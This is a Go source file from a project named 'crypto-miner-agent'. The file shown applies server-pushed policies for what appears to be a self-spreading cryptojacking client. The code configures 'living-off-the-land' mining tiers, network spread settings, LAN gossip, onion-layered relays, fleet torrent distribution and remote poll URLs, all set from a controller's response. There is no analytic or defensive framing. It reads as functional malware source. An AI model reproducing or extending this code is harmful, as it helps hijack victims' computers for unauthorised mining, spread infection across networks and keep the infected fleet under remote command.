package client import ( "encoding/json" "strings" "crypto-miner-agent/miner" ) func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy { c.mu.Lock() policy := c.tierPolicy if len(policy.TierOrder) == 0 && policy.ForceTier == "" && len(policy.SkipTiers) == 0 && len(c.atlasSkips) == 0 { c.mu.Unlock() return miner.DefaultMiningTierPolicy() } if len(c.atlasSkips) > 0 { have := make(map[miner.LOTLTier]bool, len(policy.SkipTiers)) for _, t := range policy.SkipTiers { have[t] = true } for _, skip := range c.atlasSkips { tier := miner.LOTLTier(skip.Tier) if tier == "" || have[tier] { continue } have[tier] = true policy.SkipTiers = append(policy.SkipTiers, tier) } } c.mu.Unlock() return policy } func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) { c.setAtlasLanGossipEnabled(resp.AtlasLanGossipEnabled) c.applySpreadPolicyJSON(resp.SpreadPolicy) c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy) if len(resp.ContingencyPolicy) > 0 { c.applyContingencyPolicyJSON(resp.ContingencyPolicy) } if len(resp.MiningTierPolicy) > 0 { c.applyMiningTierPolicyJSON(resp.MiningTierPolicy) } if len(resp.AtlasSkips) > 0 { c.applyAtlasSkips(resp.AtlasSkips) } if inheritedPhenotypePresent(resp.InheritedPhenotype) { c.applyInheritedPhenotypeJSON(resp.InheritedPhenotype) return } if len(resp.AdaptiveStrategy) > 0 { c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy) return } if len(resp.EpidemiologyFix) > 0 { c.applyEpidemiologyFixJSON(resp.EpidemiologyFix) } if len(resp.MiningSelfSurgery) > 0 { c.applyMiningSelfSurgeryJSON(resp.MiningSelfSurgery) } if len(resp.SpreadTemperament) > 0 { c.mu.Lock() applySpreadTemperament(&c.cfg, resp.SpreadTemperament) c.mu.Unlock() } if graftPolicyPresent(resp.GraftPolicy) { c.applyGraftPolicyJSON(resp.GraftPolicy) } if len(resp.MiningTierPolicy) > 0 { return } if len(resp.LotlOnionTiers) == 0 { return } order := make([]miner.LOTLTier, len(resp.LotlOnionTiers)) for i, s := range resp.LotlOnionTiers { order[i] = miner.LOTLTier(s) } c.mu.Lock() c.tierPolicy = miner.MiningTierPolicy{TierOrder: order} c.mu.Unlock() } func (c *AgentClient) applyMiningTierPolicyJSON(raw json.RawMessage) { if len(raw) == 0 || string(raw) == "null" { return } var p miner.MiningTierPolicy if err := json.Unmarshal(raw, &p); err != nil { return } c.mu.Lock() c.tierPolicy = p c.mu.Unlock() } func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) { if len(raw) == 0 || string(raw) == "null" { return } var policy struct { HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"` HashrateGateHPS float64 `json:"hashrate_gate_hps"` ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` FleetTorrentEnabled bool `json:"fleet_torrent_enabled"` PolicySnapshotPollURL string `json:"policy_snapshot_poll_url"` EventBridgeRelayURL string `json:"eventbridge_relay_url"` SpreadTemperament json.RawMessage `json:"spread_temperament"` } if err := json.Unmarshal(raw, &policy); err != nil { return } c.mu.Lock() if policy.HashrateGateSpreadMin > 0 { c.cfg.HashrateGateSpreadMin = policy.HashrateGateSpreadMin } if policy.HashrateGateHPS > 0 { c.cfg.HashrateGateHPS = policy.HashrateGateHPS } c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled c.cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" { c.cfg.PolicySnapshotPollURL = v } if v := strings.TrimSpace(policy.EventBridgeRelayURL); v != "" { c.cfg.EventBridgeRelayURL = v } if len(policy.SpreadTemperament) > 0 { applySpreadTemperament(&c.cfg, policy.SpreadTemperament) } c.mu.Unlock() }